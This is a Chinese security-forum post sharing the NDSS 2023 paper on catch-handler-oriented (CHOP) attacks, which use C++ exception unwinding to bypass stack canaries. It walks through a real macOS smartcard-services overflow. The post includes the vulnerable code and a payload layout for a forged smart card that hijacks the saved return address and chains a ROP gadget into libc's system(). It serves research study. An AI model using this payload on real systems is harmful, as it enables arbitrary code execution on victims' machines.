-
-
[分享]一种绕过堆栈保护的新攻击范式
-
发表于: 2023-11-30 15:25 3673
-
最近要研讨,看到一篇ndss2023的论文:"Let Me Unwind That For You: Exceptions to Backward-Edge Protection",提出了一种新的攻击范式,在原缓存区溢出的攻击基础上通过异常机制跳过栈保护,感觉蛮好的,就想简单分享下,看看大家什么看法,附件是原文和我做的ppt。
面向异常处理编程攻击( Catch Handler Oriented Programming attacks)
威胁模型
攻击者寻求通过调用栈损坏来实现攻击原语,如劫持控制流。存在针对传统ROP和return-to-libc攻击的StackGuard和Shadow Stack保护。假设攻击者具有方法来绕过地址空间随机化(如指针泄漏,侧通道泄漏,熵耗尽攻击)。从一个无约束的堆栈损坏原语开始(允许攻击者覆盖堆栈上的任意数据),然后讨论改进。
攻击总览
CHOP攻击通常首先破坏保存的返回指针,以混淆展开器,然后引诱它将控制流传输到意想不到的处理代码中。
实例
这里的函数在编译时都是加入了StackGuard保护的,普通的栈溢出攻击无效。
SCSSU-201801:
运行在macOS上的smartcardservices中Common Access Card (CAC)模块,在插入智能卡并检索证书时,如下13-33行代码会从卡中循环读入数据到堆栈缓冲区,直到卡指示结束或发生通信错误。28行的memcpy会把攻击者控制的数据复制到certificate中,从而可以产生缓存区溢出。但是如果在这个循环内产生异常,会被35行的catch-all handler捕获处理,无法进行CHOP攻击。但在40行检查卡内数据第一个字节为1后,会对数据进行解压缩操作,若解压缩失败,在50行会抛出异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | unsigned char command[] = { 0x80 , 0x36 , 0x00 , 0x00 , 0x64 }; unsigned char result[MAX_BUFFER_SIZE]; size_t resultLength = sizeof(result); uint8 certificate[CAC_MAXSIZE_CERT]; uint8 uncompressed[CAC_MAXSIZE_CERT]; size_t certificateLength = 0 ; try { PCSC::Transaction _(cacToken); cacToken.select(mApplication); uint32_t cacreturn; do { cacreturn = cacToken.exchangeAPDU(command, sizeof(command), result, resultLength); if ((cacreturn & 0xFF00 ) ! = 0x6300 ) CACError::check(cacreturn); size_t requested = command[ 4 ]; if (resultLength ! = requested + 2 ) PCSC::Error::throwMe(SCARD_E_PROTO_MISMATCH); if (certificateLength + (resultLength - 2 ) > CAC_MAXSIZE_CERT) PCSC::Error::throwMe(SCARD_E_PROTO_MISMATCH); memcpy(certificate + certificateLength, result, resultLength - 2 ); certificateLength + = resultLength - 2 ; / / Number of bytes to fetch next time around is in the last byte / / returned. command[ 4 ] = cacreturn & 0xFF ; } while ((cacreturn & 0xFF00 ) = = 0x6300 ); } catch (...) { return NULL; } if (certificate[ 0 ] = = 1 ) { / * The certificate is compressed * / secdebug( "cac" , "uncompressing compressed %s" , mDescription); size_t uncompressedLength = sizeof(uncompressed); int rv = uncompress(uncompressed, &uncompressedLength, certificate + 1 , certificateLength - 1 ); if (rv ! = Z_OK) { secdebug( "zlib" , "uncompressing %s failed: %d" , mDescription, rv); CssmError::throwMe(CSSMERR_DL_DATABASE_CORRUPT); } data.Data = uncompressed; data.Length = uncompressedLength; } else { data.Data = certificate; data.Length = certificateLength; } |
攻击者需要伪造一张智能卡,卡中数据如下,部分压缩并用一个指向pivot-to-ROP gadget的指针覆盖掉保存的返回地址,在其解压缩失败后就会触发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | pl = fit({ 0 : p8( 1 ), 1 : zlib.compress(b "\x41" * 31337 , 9 ), 0x1170 + 800 : cmd, 0x12e0 : p64(stack_addr), # for leave of hijacked handler 0x12e8 : p64(handler_addr), 0x1300 : p64(stack_addr + 0x18 ), # for leave of pop_rdi_gagdget 0x1308 : p64(pop_rdi_gadget), 0x1310 : p64(stack_addr + 400 ), # will point to cmd 0x1320 : p64(libc_base + system_off) }, length = 0x64 * 60 ) |
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!